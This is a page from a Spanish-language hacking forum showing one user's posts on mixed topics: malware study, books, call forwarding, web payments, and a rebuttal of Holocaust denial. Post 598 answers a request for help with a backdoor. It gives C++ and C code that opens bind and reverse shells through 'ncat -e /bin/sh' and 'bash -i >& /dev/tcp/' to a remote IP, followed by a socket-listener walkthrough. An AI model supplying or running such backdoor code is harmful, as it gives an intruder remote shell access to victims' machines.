elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


Tema destacado: Recopilación Tutoriales y Manuales Hacking, Seguridad, Privacidad, Hardware, etc


  Mostrar Mensajes
Páginas: 1 ... 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 [60] 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 ... 295
591  Foros Generales / Dudas Generales / Re: Parte práctica malwares en: 9 Junio 2020, 13:04 pm
Puedes hacer un repaso a la evolución del malware y analizar alguno antiguo como el worm morris y alguno actual como gandcrab(ransomware windows) ver las tendencias en base a los años y hacer predicciones evaluando hacia donde va la industria del malware.
592  Foros Generales / Foro Libre / Re: La supuesta farsa del holocausto en: 8 Junio 2020, 12:46 pm
Leete el libro de Mi Lucha de A. Hitler.

 Hitler era una persona llena de odio por los judios. Esa es la razón de que matasen "mano de obra barata", el odio y la manipulación que hizo creerse superiores a la raza aria.
No es muy distinto de lo que pasa en Estados Unidos actualmente. Y la situación pre-Hitler no era muy distinta de la del socialismo español actual.


No hay manipulación en los echos, están más que probados, hay miles de imágenes de campos de concentración pero obviamente no está en el periodismo público actual para no vanalizar ni insensibilizar a la población. Actualmente si se manipula a la población Europea con noticias absurdas que dibujan como caóticas. Las viejas se cagan viendo a P. Piqueras narrar las rachas de viento de 50km/h! Después sales a la calle con rachas de 200km/h y no te mueven de sitio.


Esta manipulación se hace por el bien de todos. Es el motivo por el cual no vees ni una portada con un tio muriéndose asfisiado por el coronavirus cuando hay miles.


La Unión Europea sufrió mucho cuando las guerras mundiales hasta el punto de necesitar el plan Marshall para que sobreviva el continente. Es solo una prueba de que somos todos un equipo en el que todos queremos pelearnos para destacar, pero si un grupo se queda atrás lo rescatamos por su bien y por el nuestro.


La ONU nace para evitar que se repita semejante catástrofe otra vez. Y tus teorías conspiranoicas son erroneas. Tanto al de Ferrari como al de Facebook les interesa que te hagas rico. Lo que se cargan son las clases medias.


A veces son más casualidades que causalidades. La historia lo demuestra.


Está bien replantearse todo lo que sabemos y en lo que creemos firmemente, pero te falta objetividad y una visión más nítida. Te crentras en lo que quieres que sea subjetivamente autoengañándote.






593  Foros Generales / Foro Libre / Re: La “bestia de Omaha”: el alemán que mató 1.000 norteamericanos en Normandía en: 7 Junio 2020, 09:54 am
Está interesante, faltaban más datos.
594  Foros Generales / Foro Libre / Re: Hallan cannabis en el altar de un antiguo sitio religioso en Israel en: 3 Junio 2020, 01:39 am
Anda que no pasan cosas en el mundo para que alguien escriba esto. Tiene pinta que las manos del autor de la "noticia" olían a porro que colocaban a Albert Rivera con la distancia de seguridad.
595  Seguridad Informática / Seguridad / Re: Desvio de llamadas en: 2 Junio 2020, 19:30 pm
https://en.m.wikipedia.org/wiki/Call_forwarding

#62# para desactivarlo.
 
596  Foros Generales / Foro Libre / Re: ¿Algun bibliófilo? en: 2 Junio 2020, 19:18 pm
Ya ves, o eres un anal
Menos mal que llego internet, que tambien es perseguida, cuidado con compartir obras, que ahora tienen la escusa de que tienen derecho de autor para evitar que la gente tambien lea.
Jaja te montas un nodo de salida de tor y se te llena el email de siglas. Eula Aula Loula Sopa Sapo Eulalia... Parece un servicio SMS de subscripción para Adultos.

Es una pena.
597  Foros Generales / Noticias / Re: Una asociación antipiratería casi se carga las descargas de un país entero en: 2 Junio 2020, 16:34 pm
Se van a cargar el sector ellos mismos xD
598  Seguridad Informática / Análisis y Diseño de Malware / Re: Necesito ayuda para una backdoor en: 2 Junio 2020, 14:34 pm
Necesitas 2 programas. Un cliente y un servidor. Puede ser conexión directa, el objetivo tiene los puertos abiertos. O conexión inversa, tu tienes los puertos abiertos. También se puede sin abrir puertos pero requiere de settup, proxy y tunelaje.

Puedes usar sockets o alguna librería/software como netcat o includo bash/batch, perl, php, etc. Facilita mucho.

Un ejemplo:
Código
  1. #include <string>
  2.  
  3. using namespace std;
  4.  
  5. #define PUERTO static_cast<string>("9090")
  6. #define IP static_cast<string>("127.0.0.1")
  7. #define REVERSE_IP static_cast<string>("93.184.216.34")
  8.  
  9. void BindShell(string);
  10.  
  11. int main() {
  12.  
  13. string comando = "";
  14.  
  15. #ifdef __linux__ /* LINUX */
  16. /* Bind Local Shell */
  17. BindShell("ncat -l -k " + IP + " " + PUERTO + " -e /bin/sh");
  18.  
  19. /* Bind Remote Shell */
  20. BindShell("ncat " + REVERSE_IP + " " + PUERTO + " -e /bin/sh");
  21.  
  22. /* Bind Remote Shell Bash */
  23. BindShell("bash -i >& /dev/tcp/" + REVERSE_IP + "/" + PUERTO + " 0>&1");
  24.  
  25.  
  26.  
  27. #else /* WINDOWS */
  28. /* Bind Local Shell */
  29. BindShell("ncat -l -k " + IP + " " + PUERTO + " -e cmd");
  30.  
  31. /* Bind Remote Shell */
  32. BindShell("ncat " + REVERSE_IP + " " + PUERTO + " -e cmd");
  33.  
  34. #endif
  35. return 0;
  36. }
  37.  
  38. void BindShell(string command) {
  39. system(command.c_str());
  40. }

O incluso puedes compilar esto en C con gcc sin libs ni nada:
Código
  1. int main() {
  2. system("ncat 127.0.0.1 9090 -e /bin/sh");
  3. return 0;
  4. }

Para sockets Linux usa <sys/socket.h> para funciones y
<netinet/in.h> para sockaddr_in.

Creas el socket (IPv4, TCP) y obtienes en retorno un file descriptor con:
Código
  1. int sockfd = socket(AF_INET, SOCK_STREAM, 0);
  2.  
  3. if (sockfd == -1) {
  4. std::cout << "Failed to create socket. Errno: " << errno << std::endl;
  5. exit(EXIT_FAILURE);
  6. }

exit y la constante están en <cstdlib> cout y endl en <iostream>

Después creas la dirección con sus propiedades obligadas, dirección IP, PUERTO y demás. Y bindeas el sockaddr al sockfd
Código
  1. sockaddr_in sockaddr;
  2. sockaddr.sin_family = AF_INET;
  3. sockaddr.sin_addr.s_addr = INADDR_ANY;
  4. sockaddr.sin_port = htons(9090);
  5.  
  6. if (bind(sockfd, (struct sockaddr*)&sockaddr, sizeof(sockaddr)) < 0) {
  7. std::cout << "Failed to bind to port 9090. Errno: " << errno << std::endl;
  8. exit(EXIT_FAILURE);
  9. }

Te pones a la escucha en el socket con listen:
Código
  1. if (listen(sockfd, 10) < 0) {
  2. std::cout << "Failed to listen on socket. Errno: " << errno << std::endl;
  3. exit(EXIT_FAILURE);
  4. }

Obtienes una conexión de la cola:
Código
  1. auto addrlen = sizeof(sockaddr);
  2. int connection = accept(sockfd, (struct sockaddr*)&sockaddr, (socklen_t*)&addrlen);
  3.  
  4. if (connection < 0) {
  5. std::cout << "Failed to grab connection. Errno: " << errno << std::endl;
  6. exit(EXIT_FAILURE);
  7. }

Tras obtener la conexion lees los bytes de la misma:
Código
  1. char buffer[8192];
  2. auto bytesRead = read(connection, buffer, 8192);
  3. std::cout << "The message was: " << buffer;

Por último puedes recorrer el buffer buscando algo, send para responder, cerrar el sockfd o la conexión, o lo que veas. Esto ya entra dentro de lo que quieras hacer y de tu propia implementación.

Prácticamente todo código lo hice mirando por la docu oficial de <sys/socket.h>
599  Foros Generales / Foro Libre / Re: ¿Algun bibliófilo? en: 2 Junio 2020, 00:08 am
Informática:

The Principles of object-oriented javascript. Nicholas C. Zakas.

Eloquent javascript. Marjin Haverbeke.

Vue.js 2 Cookbook. Andrea Passaglia.

Google Hacking for penetration testers. Jonhy Long, Bill Gardner, Justing Brown.

Android Hacker's Handbook. Joshua J. Drake, Pau Oliva Fora...

Wireshark Network Analysis. Laura Chappell.

The Radare2 book. pancake.



Otros:

Speed Reading. Tony Buzan.

Muay Thai Unleashed. Erich Krauss and Glen Cordoza.

Mi Lucha. Adolf Hitler. Jusego-Chile
600  Programación / Desarrollo Web / Re: Añadir pago a pagina web en: 31 Mayo 2020, 12:02 pm
https://www.paypal.com/us/webapps/mpp/standard-integration
Páginas: 1 ... 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 [60] 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 ... 295
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines